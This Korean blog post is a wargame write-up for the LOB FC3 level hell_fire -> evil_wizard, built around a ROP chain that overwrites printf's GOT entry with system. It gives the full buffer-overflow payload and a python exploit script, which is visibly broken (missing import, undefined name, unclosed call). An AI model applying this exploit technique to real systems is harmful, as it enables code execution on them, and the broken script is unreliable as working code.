Profile

머리정리하는곳

c2w2m2

[LOB FC3 - level4] hell_fire -> evil_wizard


level3 은 일단 스킵 해놓고 이거부터 하죠!



포션 2개를 보면 대놓고 ROP 하라는 것


고로 ROP 를 할것인데 힌트인 GOT Overwrite 를 생각해서 printf의 got 를 system 로 덮어서 하는걸로


필요한건 


system , printf@plt, printf@got, strcpy@plt, PPR , /bin/sh정도가 필요합니다.


차례로 구해보면



printf@plt : 0x8048424



printf@got : 0x8049884



strcpy@plt : 0x8048494



system: 0x7507c0



/bin/sh : 0x833603


PPR : 0x804854f


이렇게 구하고 보니 printf@got 를 덮기 위해서 c0, 07, 75, NULL 도 알아야 하네요.


바로 구해봅시다.


objdump -d evil_wizard | grep [구하고싶은거] --color=auto


or


objdump -s evil_wizard | grep [구하고싶은거] --color=auto


로 구해보면



c0 : 0x804852c


07 : 0x8048154


75 : 0x8048513


NULL : 0x8048198


필요한건 다 구한거 같으니 계획을 세워보면


dummy[268] + strcpy@plt + ppr + printf@got    + c0

        + strcpy@plt + ppr + printf@got+1 + 07

  . . . .. . .

        + printf@plt + ABCD + /bin/sh


로 짜고 공격을 해보면  




"`python -c 'print "A"*268 + "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x2c\x85\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x54\x81\x04\x08"+

"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\x13\x85\x04\x08"+ "\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\x98\x81\x04\x08"+

"\x24\x84\x04\x08"+"ABCD"+"\x03\x36\x83\x00"'`"



클리어






---------------------------------------------------------------------------------------------------------------------------------------------------------

#explot.py
import os 

def inn(number): 
	return struct.pack('<I',number)

pwd = "/home/hell_fire/evil_wizard"

system = 0x007507c0
strcpy = 0x8048494
rrp = 0x804854f
print_plt = 0x8048424
print_got = 0x8049884

payload = "A"*268
payload += inn(strcpy)+inn(rrp)+inn(print_got)+inn(0x804852c) # c0
payload += inn(strcpy)+inn(rrp)+inn(print_got+1)+inn(0x8048154) # 07
payload += inn(strcpy)+inn(rrp)+inn(print_got+2)+inn(0x8048513) # 75
payload += inn(strcpy)+inn(rrp)+inn(print_got+3)+inn(0x8048198) # NULL
payload += inn(printf_plt)+"ABCD"+inn(0x833603) # /bin/sh
os.execv(pwd,(pwd,payload)



처음에 이렇게 하려다 os.execv에서 이상하게 계속 에러 떠서,,, 혹시 해결법 아시는분 ?

'Pwnable > LOB' 카테고리의 다른 글

클리어  (0) 2017.06.27
[LOB FC3 - Level5] evil_wizard -> dark_stone  (0) 2017.06.23
[Level13] darknight -> bugbear 다른풀이  (0) 2017.05.19
[Level1] gate -> iron_golem  (0) 2017.05.19
[Level20] xavius -> death_knight  (0) 2017.05.18